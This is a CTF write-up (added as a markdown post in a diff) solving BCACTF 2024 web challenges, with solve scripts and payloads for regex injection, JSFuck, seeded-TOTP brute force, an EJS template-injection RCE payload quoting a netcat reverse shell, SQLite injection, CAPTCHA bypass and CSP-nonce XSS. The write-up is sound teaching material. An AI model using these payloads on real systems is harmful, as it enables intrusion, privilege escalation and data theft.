b/content/ctf-writeups/bcactf_5.0/web.md @@ -0,0 +1,684 @@ +--- +layout: post +title: BCACTF 2024 | Web-Writeups +date: 2024-06-12 +tags: ['BCACTF_5.0'] +math: True +--- + +# Web/Sea Scavenger + +> **Description** : Take a tour of the deep sea! Explore the depths of webpage secrets and find the hidden treasure. Pro tip: Zoom out!. \ +\ +> **Author** : `pinuna27` + +* Looking at the challenge and its description, it seems that the flag is embedded in the source itself. + +* Looking at the source, we can observe that there are 6 routes. + +![Source](./assets/images/web/sea/source.png) + +* Let's start with the first route, */shark*. We see a mention of HTML: `Sharks swim really fast, especially through the HTML sea!`. Viewing the source gives us the first part of the flag: `bcactf{b3`. + +* Moving on to the next route, `/squid`, we see it talks about the console. Opening the console gives us the second part of the flag: `t_y0u_d1`. + +* For the third route, `/clam`, there is a mention of cookies in the console. Hence, we get the third part of the flag in the cookies: `dnt_f1n`. + +* The fourth route, `/shipwreck`, gives us a hint in the console to check response headers. We get the fourth part of the flag in the response headers of this particular route: `d_th3_tr`. + +![header](./assets/images/web/sea/header.png) + +* Viewing the source code of the fifth route, `/whale`, we see a `whale.js` file. By opening it, we get our fifth part of the flag: `e4sur3`. + +* The sixth route, `/treasure`, tells us about robots.txt. However, there is nothing on /robots.txt, which is obvious as there is another hint in the console telling us to look under the treasure. So, `/treasure/robots.txt` gives us the sixth and final part: `_t336e3}`. + +Joining all the parts we get our flag + +**Flag**: `bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3_t336e3}` + +# Web/Phone number + +> **Description** : I was trying to sign into this website, but now it's asking me for a phone number. The way I'm supposed to input it is strange. Can you help me sign in?\ +> My phone number is 1234567890\ +> **Author** : `Jacob Korn` + +* The application features a simple input field where users are prompted to enter their phone number. The correct phone number to enter is `1234567890`. However, direct input into the field is disabled, requiring an alternative method to input the number. + +* To bypass this restriction, we can use the browser console to set the input field's value. Execute the following command in the console: + ```javascript + document.getElementById('input').value = '1234567890'; + ``` +* After setting the input value to 1234567890, submit the form to receive the flag. + +**Flag**: `bcactf{PHoN3_num8eR_EntER3D!_17847928}` + +# Web/Tic-Tac-Toe + +> **Description** : My friend wrote this super cool game of tic-tac-toe. It has an AI he claims is unbeatable. I've been playing the game for a few hours and I haven't been able to win. Do you think you could beat the AI?\ +> **Author** : `Thomas` + +* As we open the link, we can see a tic-tac-toe game. + +![index](./assets/images/web/tictactoe/index.png) + +* According to the description, we can't beat it by playing the game manually, so let's try to intercept it using Burp Suite. + +![intercept](./assets/images/web/tictactoe/intercept.png) + +* As we can see, a WebSocket request is being sent to the server with the current position marked by us on the board, and a response from the server with the server's move. So, if we modify the request at the position when we are just a step before winning, we can win the game and get the flag. + +![response](./assets/images/web/tictactoe/response.png) + +* Let's change this so that we can win the game. +Modified response: + +![modified](./assets/images/web/tictactoe/modified.png) + +Now the board looks like this: + +![board](./assets/images/web/tictactoe/board.png) + +* Let's make our final move, and bingo, we win and get the flag as a reward. + +![flag](./assets/images/web/tictactoe/flag.png) + +**Flag**: `bcactf{7h3_m4st3r_0f_t1ct4ct0e_678d52c8}` + +# Web/NoSql + +> **Description** : I found this database that does not use SQL, is there any way to break it?\ +> **Author**: `Jack` + +* From the name and description, it is almost clear that this challenge involves no SQL injection vulnerability. + +* Opening the challenge URL doesn't reveal much. +We only see a simple response: `Not a valid query :(` + +![index](./assets/images/web/nosql/index.png) + +* We are also provided with the server-side code this time. + + +```js +const express = require('express') + +const app = express(); +const port = 3000; +const fs = require('fs') +try { + const inputD = fs.readFileSync('table.txt', 'utf-8'); + text = inputD.toString().split("\n").map(e => e.trim()); +} catch (err) { + console.error("Error reading file:", err); + process.exit(1); +} + +app.get('/', (req, res) => { + if (!req.query.name) { + res.send("Not a valid query :(") + return; + } + let goodLines = [] + text.forEach( line => { + if (line.match('^'+req.query.name+'$')) { + goodLines.push(line) + } + }); + res.json({"rtnValues":goodLines}) +}) + +app.get('/:id/:firstName/:lastName', (req, res) => { + // Implementation not shown + res.send("FLAG") +}) + +app.listen(port, () => { + console.log(`App server listening on ${port}. (Go to http://localhost:${port})`); +}); +``` + +* Attempting a simple injection in the query parameter name `abc' || 'a'=='a` returns the entire table with first and last names. + +![list](./assets/images/web/nosql/list.png) + +* The hints indicate that the ID of `Ricardo Olsen` is 1. + +* As a hypothesis, we can try counting the number of entries in the table to determine the ID of `Flag Holder` (the last entry in the table). + +![length](./assets/images/web/nosql/length.png) + +There are 51 entries in the table, and according to the source code, `/:id/:firstName/:lastName` will provide the flag if: + +``` +id = 51 +firstName = Flag +lastName = Holder +``` +Hence visiting `/51/Flag/Holder` gives us the desired flag. + +**Flag**: `bcactf{R3gex_WH1z_54dfa9cdba13}` + +# Web/JSLearning.com + +> **Description** : Hey, can you help me on this Javascript problem? Making strings is hard. \ +> **Author** : `Jacob Korn` + +* Source code: +```js +import express from 'npm:express@4.18.2' + +const app = express(); + +const flag = Deno.readTextFileSync('flag.txt') + +app.use(express.text()) + +app.use("/", express.static("static")); + +app.post("/check", (req, res) => { + + let d = req.body; + let out = ""; + for (let i of ["[", "]", "(", ")", "+", "!"]) { + d = d.replaceAll(i, ""); + } + if (d.trim().length) { + res.send("ERROR: disallowed characters. Valid characters: '[', ']', '(', ')', '+', and '!'."); + return; + } + + let c; + try { + c = eval(req.body).toString(); + } catch (e) { + res.send("An error occurred with your code."); + return + } + + // disallow code execution + try { + if (typeof (eval(c)) === "function") { + res.send("Attempting to abuse javascript code against jslearning.site is not allowed under our terms and conditions."); + return + } + } catch (e) {} + + + out += "Checking the string " + c + "...|"; + if (c === "fun") { + out+='Congratulations! You win the level!'; + } else { + out+="Unfortunately, you are incorrect. Try again."; + } + res.send(out); +}); + +const server = app.listen(0, () => console.log(server.address().port)) + +``` + +* Looking at the source code it is obvious that we have to use js-fuck to solve this challenge. + +* Submitting `out = flag` in [js-fuck](https://jsfuck.com) simply gives us the flag. + +``` +payload = (!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+[]]+(!![]+[])[+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[+!+[]]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]] +``` + +**Flag**: `bcactf{1ava5cRIPT_mAk35_S3Nse_48129846}` + +# Web/MOC, INC. + +> **Description** : Towards the end of last month, we started receiving reports about suspicious activity coming from a company called MOC, Inc. Our investigative team has tracked down their secret company portal and cracked the credentials to the admin account, but could not bypass the advanced 2FA system. Can you find your way in?\ +>username: admin,password: admin \ +> **Author** : `Thomas` + +* Source code: +```python +from flask import Flask, request, render_template + +import datetime +import sqlite3 +import random +import pyotp +import sys + +random.seed(datetime.datetime.today().strftime('%Y-%m-%d')) + +app = Flask(__name__) + +@app.get('/') +def index(): + return render_template('index.html') + +@app.post('/') +def log_in(): + with sqlite3.connect('moc-inc.db') as db: + result = db.cursor().execute( + 'SELECT totp_secret FROM user WHERE username = ? AND password = ?', + (request.form['username'], request.form['password']) + ).fetchone() + + if result == None: + return render_template('portal.html', message='Invalid username/password.') + + totp = pyotp.TOTP(result[0]) + + if totp.verify(request.form['totp']): + with open('../flag.txt') as file: + return render_template('portal.html', message=file.read()) + + return render_template('portal.html', message='2FA code is incorrect.') + +with sqlite3.connect('moc-inc.db') as db: + db.cursor().execute('''CREATE TABLE IF NOT EXISTS user ( + username TEXT UNIQUE NOT NULL, + password TEXT NOT NULL, + totp_secret TEXT NOT NULL + )''') + db.commit() + +if __name__ == '__main__': + if len(sys.argv) == 3: + SECRET_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567' + + totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)]) + + with sqlite3.connect('moc-inc.db') as db: + db.cursor().execute('''INSERT INTO user ( + username, + password, + totp_secret + ) VALUES (?, ?, ?)''', (sys.argv[1], sys.argv[2], totp_secret)) + db.commit() + + print('Created user:') + print(' Username:\t' + sys.argv[1]) + print(' Password:\t' + sys.argv[2]) + print(' TOTP Secret:\t' + totp_secret) + + exit(0) + + app.run() +``` + +* As we can see, the app is simple and includes a 2FA system for verification. + +* It generates a random TOTP secret and verifies the OTP with every login. + +* But wait, is the TOTP secret randomly generated every time? + +* The answer is no. +Let's look at this particular line of code. + +```python +random.seed(datetime.datetime.today().strftime('%Y-%m-%d')) +``` + +* The seed of the random number generator is fixed for a particular date, and the description also refers to the final days of the last month (May). + +* To solve this challenge, I wrote a script that tries every TOTP for each date in May 2024. + +* Script to solve the challenge: + +```python +import datetime +import random +import pyotp + +import requests + +url = "http://challs.bcactf.com:31772/" + +for i in range(1,32): + SECRET_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567' + random.seed(datetime.datetime(2024, 5, i).strftime('%Y-%m-%d')) + totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)]) + totp = pyotp.TOTP(totp_secret).now() + payload = { + "username": "admin", + "password": "admin", + "totp": {totp} +} + print(i) + response = requests.post(url, data=payload) + if 'incorrect' in response.text: + continue + else: + print(response.text) + break + +# bcactf{rNg_noT_r4Nd0m_3n0uGH_a248dc91} +``` + +**Flag**: `bcactf{rNg_noT_r4Nd0m_3n0uGH_a248dc91}` + +# Web/Cookie Clicker + +> **Description** : You need to get 1e20 cookies, hope you have fun clicking! \ +> **Author** : `Jack` + +* As per the description, it looks like we have to click the cookie 1e20 times, which is obviously not possible manually. + +* Let's intercept the request and increase the value of power. + +![Power](./assets/images/web/cookie/power.png) + +* As expected, the value of the cookie increased, but wait, why didn't we get the flag? + +* When we click on the cookie again, we can see an error message coming from the server. + +![error](./assets/images/web/cookie/error.png) + +* What if we drop the error message? + +* Dropping the response gives us the flag. + +![flag](./assets/images/web/cookie/flag.png) + +**Flag**: `bcactf{H0w_Did_Y0u_Cl1ck_S0_M4ny_T1mes_123}` + +# Web/Duck Finder + +> **Description**: This old service lets you make some interesting queries. It hasn't been updated in a while, though. \ +> **Author** : `Thomas` + +* Source code: +```js +import express from 'npm:express@4.18.2' +import 'npm:ejs@3.1.6' + +if (!Deno.env.has('FLAG')) { + throw new Error('flag is not configured') +} + +const breeds = JSON.parse(Deno.readTextFileSync('breeds.json')) + +const app = express() + +app.use(express.urlencoded({ extended: true })) + +app.set('view engine', 'ejs') + +app.get('/', (_req, res) => { + res.render('index', { breedNames: Object.keys(breeds) }) +}) + +app.post('/', (req, res) => { + for (const [breed, summary] of Object.entries(breeds)) { + if (req.body?.breed?.toLowerCase() === breed.toLowerCase()) { + res.render('search', { + summary, + notFound: false, + ...req.body + }) + return + } + } + + res.render('search', { notFound: true }) +}) + +const server = app.listen(0, () => console.log(server.address().port)) +``` + +![index](./assets/images/web/duck/index.png) + +* According to the source code, the app functions as a search engine for breeds, and if the breed matches an entry from the list, it provides a summary. + +* By examining the .ejs files, we can see that the breed and summary parameters are simply passed into the page and rendered. This led me to initially consider SSTI (Server-Side Template Injection). I first attempted to modify the `notFound` variable to false through prototype pollution in the `express@4.18.2` package, since the breed only gets rendered when `notFound` is set to `false`. However, this approach failed. + +* Another intriguing aspect is the `ejs@3.1.6` package. It is vulnerable to SSTI, and here is a POC available online: [POC](https://eslam.io/posts/ejs-server-side-template-injection-rce/) + + +```js +settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s +``` + +* This was the payload available in the PoC, but the challenge had no network access, so we couldn't get a reverse shell. + +* However, in the PoC, we observed that the `__append` function can be used to render something back in the HTML. + +* Therefore, we used this approach to retrieve the flag. + +``` +Final Payload = breed=Pekin&settings[view options][outputFunctionName]=x;var flag = Deno.env.get('FLAG');__append(flag);s +``` +* And it successfully rendered the flag on the html back. + +![Flag](./assets/images/web/duck/flag.png) + +**Flag**: `bcactf{a_l1Ttl3_0uTd4T3d_qYR8IeICVTLPU0uK}` + + +# Web/Fogblaze +> **Description** : Can you bypass this website's new stateless CAPTCHA system? \ +> **Hint** : The `challengeId` for `SCLN` would be `1e8298221a767bb37c01eb0cc61d1775`. \ +> **Author** : `Thomas` + +## Solution +In this challenge, we are required to solve 75 CAPTCHAs in sequence to obtain the flag. When a CAPTCHA is generated, a JWT token is generated alongside it. By decrypting the JWT token, we can see that it contains a field named `challengeId`. + +From the hint provided, we determined that the solution to the CAPTCHA is a 4-letter word in uppercase whose MD5 hash corresponds to the `challengeId`. Using this information, we wrote the following script to solve all 75 CAPTCHAs efficiently and obtain the flag. + +The initial version of the script was inefficient, causing the CAPTCHA session to expire. To improve it, we precomputed the MD5 hashes of all possible 4-letter uppercase words and stored them in a dictionary. During the CAPTCHA solving process, we compare the `challengeId` with our precomputed dictionary to find the solution to get the solution of the CAPTCHA. Once all CAPTCHAs are solved, we make a request to the `/flag?token=` endpoint to retrieve the flag. + +### Solve Script +```py +import requests +import jwt +import hashlib +import itertools +import string + +# Precompute all possible 4-letter combinations and their MD5 hashes +word_hash_dict = { + hashlib.md5(''.join(combination).encode('utf-8')).hexdigest(): ''.join(combination) + for combination in itertools.product(string.ascii_uppercase, repeat=4) +} + +def solve_captcha(captcha_token): + if captcha_token is None: + return None + captcha_token_bytes = captcha_token.encode('utf-8') + decoded_token = jwt.decode(captcha_token_bytes, options={'verify_signature': False}) + captcha_id = decoded_token['captchaId'] + route_id = decoded_token['routeId'] + challenge_id = decoded_token['challengeId'] + + # Look up the solution in the precomputed dictionary + solution = word_hash_dict.get(challenge_id) + if solution is None: + return None + + payload = { + "captchaToken": captcha_token, + "word": solution + } + print(payload) + response = requests.post("http://challs.bcactf.com:30477/captcha", json=payload) + return response.json() + +def main(): + token = '' + initial_payload = {"routeId": "/flag"} + initial_response = requests.post("http://challs.bcactf.com:30477/captcha", json=initial_payload) + + if initial_response.status_code == 200: + initial_data = initial_response.json() + captcha_token = initial_data.get("captchaToken") + print("Initial captcha token:", captcha_token) + + response = None + try: + while not initial_data.get("done", False): + response = solve_captcha(captcha_token) + if response is not None and response.get("done"): + print("All CAPTCHAs solved!") + print("Final response:", response) + token = response['captchaToken'] + break + else: + captcha_token = response.get("captchaToken") if response is not None else None + print("solved:", response.get("solved")) + print("CAPTCHA solved. Moving to the next one...") + except Exception: + print("Error occurred. Last response:", response) + raise + else: + print("Error:", initial_response.text) + + print('token', token) + req = requests.get('http://challs.bcactf.com:30477/flag?token=' + token) + print(req.text) + else: + print("Error:", initial_response.text) + +if __name__ == "__main__": + main() +``` +**Flag**:`bcactf{b33p_B0oP_iM_a_B0t_1b728b571b9a}` + +# Web/Michaelsoft Gring +> **Description** : From the makers of famous operating system Binbows comes a new search engine to rival the best: Gring. The sqlite database is super secure and has only the best search results picked by our custom AI (we forgot to train it but that's not important). \ +> **Author** : `Jacob Korn` + +![index](./assets/images/web/gring/index.png) + +* This is a SQL injection challenge in SQLite. The input is split by whitespaces, so we need to bypass this restriction. + +* Note that using comments (/**/) will not work for this challenge, as the search parameter is directly included in the route, resulting in a 404 error. + +* Instead, we can bypass this restriction by using tab space (%09) `\t` or newline character (%0A) `\n` URL encoded. + +* To list the tables, we can use the payload as follows: + +```sql +random'UNION%0ASELECT%0Aname%0AFROM%0Asqlite_master%0AWHERE%0Atype='table'-- +``` +This lists us two tables flag and search. + +![table](./assets/images/web/gring/table.png) + +And we can read the flag table using this payload: +```sql +random'UNION%0ASELECT%0A*%0AFROM%0Aflag-- +``` + +![flag](./assets/images/web/gring/flag.png) + +**Flag**: `bcactf{59L_1n1ECTeD_026821}` + +# Web/User #1 + +> **Description** : I was working on this website and wanted you to check it out. The code is a bit of a mess, since it's only an extremely early version. In fact, you're the very first user, with ID 1! \ +> **Author** : `Marvin` + +![index](./assets/images/web/user/index.png) + +* As we can see, we can change the username. According to the hints, this uses an UPDATE statement, which makes it susceptible to injection attacks. + +* The application is probably using this query. + +```sql +UPDATE users SET name="" WHERE id=1; +``` + +* So we tried to exploit and display the results in the name field. + +* Here are some payloads and their output + +``` +1. Payload: ",name=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')-- + Result: users,roles_eab48ad667ed5a02 + +2. Payload: ",name=(SELECT group_concat(name) FROM pragma_table_info('users'))-- + Result: id,name + +Similarly there are two columns in the roles_eab48ad667ed5a02 table id,admin + +3. Payload: ", name=(SELECT sql FROM sqlite_master WHERE tbl_name='roles_eab48ad667ed5a02') WHERE id=1 -- + Result: CREATE TABLE roles_44f63838742cf87d (id INTEGER, admin INTEGER, FOREIGN KEY(id) REFERENCES users(id) ON UPDATE CASCADE) + +Similarly + CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT NOT NULL) +``` + +* Let's discuss the results with two tables: users and roles_eab48ad667ed5a02. The database resets every 15 minutes. + +* The users table contains two columns: name and id. The id = 0 is assigned to a name, and the table structure uses `PRIMARY KEY` for the id column, meaning we can't change the id to an existing value in this table. Since 0 is assigned to a name, we can't directly change the value to 0. + +* The second table (roles_44f63838742cf87d) is intriguing. It has two columns: admin and id. For id = 0, admin = 1, and for id = 1, admin = 0. This indicates that only users with id = 0 have admin access. + +* Now, if we can change our id to 0, we can gain admin access, or we can set admin = 1 for id = 1. + +* Here is the interesting part: `(id INTEGER, admin INTEGER, FOREIGN KEY(id) REFERENCES users(id) ON UPDATE CASCADE)`. This part tells us that the users table is the parent table and holds a foreign key relation with its child table. So, if we change the value of id in the users table, it will automatically change the value in the roles table. + +* So, if we first change id = 0 to id = 3 in the users table, then we have id = 3 with admin = 1. Now, if we change id = 1 to id = 5, we have id = 5 with admin = 0 in the roles table. Finally, if we change id = 3 back to id = 1, then id = 1 will have admin = 1, which simply means we have admin role. + +* But there's a twist: when you change id = 1 to id = 5, the cookie will reset, as it is mentioned that you will always have id = 1. So, we have to ensure that the cookie doesn't change while doing so. + +Let's start exploiting: + +1. `",id = 3 WHERE id = 0;--` + + Save the cookie somewhere. + +2. `",id = 5 WHERE id = 1;--` + + Put back the old cookie. + +3. `",id = 1 WHERE id = 3;--` + +And we will get the flag in response. + +![flag](./assets/images/web/user/flag.png) + +**Flag**: `bcactf{g3t_BEtA_t3StERs_f6a71451d481a8}` + +# Web/Transcriptify + +> **Description** : The secretaries at my school are tired of manually processing transcript requests, so they've built an app to the job for them. You would hope that anything handling private student info would be secure, right? I hope so too. \ +> **Author** : `Thomas` + +![index](./assets/images/web/transcript/index.png) + +* This was an XSS challenge with a CSP bypass. The application is straightforward: it generates transcripts with some parameters. The parameter of interest is 'name', as it is directly passed into the HTML, leaving a risk of XSS. + +* `Content-Security-Policy: default-src 'self'; script-src 'nonce-MTcxODA0MTEwMDAwMA=='` + +* As we can see, we need to send a nonce value with the script tag to execute it, and the nonce value can be easily bypassed since it is the base64 of the timestamp of the request. + +* According to the author, the flag was stored in local storage, so we have to include the flag in the PDF transcript URL and view the PDF to retrieve the flag. + +* To meet these requirements, we created a script that can include the correct nonce in our request. + +```python +import requests +from time import time +from base64 import b64encode +from urllib.parse import quote +import json + +base_url = 'http://challs.bcactf.com:30147' + +nonce = b64encode(str(int(time()+1)*1000).encode()).decode() +grade = {"name": "test", "grade": ["100", "A"]} +params = {"studentName": f"", "courses": [grade]} +encoded_params = quote(json.dumps(params), safe='=&?') +url = f"{base_url}/pdftranscript?transcript={encoded_params}" +print(url) +res = requests.get(url) + +with open("test.pdf", "wb") as pdf: + pdf.write(res.content) + +print("PDF Saved") +``` + +* We might need to try 2-3 times since sometimes the nonce value differs by a few milliseconds. + +![flag](./assets/images/web/transcript/flag.png) + +**Flag** : `bcactf{yOur_trAnSCripT_Ha5_BEeN_prOc3SS3D_1e9442f4}` +